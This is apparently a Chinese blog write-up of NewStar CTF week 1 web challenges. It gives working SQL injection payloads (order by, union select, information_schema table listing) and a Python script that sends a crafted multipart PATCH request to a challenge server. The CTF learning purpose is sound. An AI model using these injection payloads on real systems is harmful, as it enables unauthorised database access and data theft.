当前位置: 首页 > article >正文

NewStar CTF week1 web wp

谢谢皮蛋

做这题之前需要先去学习一些数据库的知识

  • 1 order by 2
    1可以理解为输入的id,是一个占位符,按第二列排序用来测试列数,如果没有两列则会报错
  • -1 union select 1,2
    -1同样是占位符,union的作用是将注入语句合并到原始语句中,select 1,2用于从数据库中返回两个常量值1,2在这里插入图片描述
  • -1 union select 1,database()
    在这里插入图片描述
    拿到数据库名,接下来查看表名
 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述
全都看一遍,拿到flag

PangBai 过家家(1)

根据提示,在网络里找到下一关的地址在这里插入图片描述
输入查询参数,进入下一关
在这里插入图片描述
第三关采用post方法发送请求,先下一个hackbar插件在这里插入图片描述
这里是真不懂有什么逻辑在其中了,第四关wp说将刚才发的请求再重新发一遍,为什么要这么做呢在这里插入图片描述
根据提示将用户代理改为Papa/1.0,进入下一关在这里插入图片描述
同样,我们再发一次请求,得到在这里插入图片描述

import requests

# URL 和 Headers
url = "http://8.147.132.32:36002/?ask=miao"
headers = {
    "Host": "8.147.132.32:36002",
    "User-Agent": "Papa/1.0",
    "Content-Type": "multipart/form-data; boundary=abc",
    "Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0",
}

# 构造 form-data 数据
data = (
    "--abc\r\n"
    'Content-Disposition: form-data; name="file"; filename="1.zip"\r\n'
    "\r\n"
    "123\r\n"
    "--abc\r\n"
    'Content-Disposition: form-data; name="say"\r\n'
    "\r\n"
    "玛卡巴卡阿卡哇卡米卡玛卡呣\r\n"
    "--abc--\r\n"
)

# 发送 PATCH 请求
response = requests.patch(url, headers=headers, data=data)

# 打印响应
print("Status Code:", response.status_code)
print("Response Text:", response.text)

hackbar莫名出了点问题,后面就没做了


http://www.kler.cn/a/515046.html

相关文章:

  • Flink Gauss CDC:深度剖析存量与增量同步的创新设计
  • windows平台intel-vpl编译
  • 使用插件SlideVerify实现滑块验证
  • 小白爬虫——selenium入门超详细教程
  • SDL2:arm64下编译使用 -- SDL2多媒体库使用音频实例
  • 【机器学习实战中阶】比特币价格预测
  • 【AI日记】25.01.22
  • GitLab配置免密登录和常用命令
  • python如何使得pdf加水印后的大小尽可能小
  • Zero-Shot Noise2Noise: Efficient Image Denoising without any Data 笔记
  • NHANES指标推荐:TyG!
  • 2.复写零
  • Vue3 中使用组合式API和依赖注入实现自定义公共方法
  • 洛谷P8195
  • c++算法贪心系列
  • 2024.1.22 安全周报
  • 大华Java开发面试题及参考答案 (下)
  • UE5 开启“Python Remote Execution“
  • 解决go.mod文件中replace不生效的问题
  • Mono里运行C#脚本31—mono_arch_create_generic_trampoline
  • YOLOv10-1.1部分代码阅读笔记-predictor.py
  • 【Linux】APT 密钥管理迁移指南:有效解决 apt-key 弃用警告
  • 如何实现亿级用户在线状态统计?
  • .NET MAUI进行UDP通信(二)
  • 吴恩达深度学习——如何实现神经网络
  • 【2024年华为OD机试】 (E卷,100分) - 预订酒店(JavaScriptJava PythonC/C++)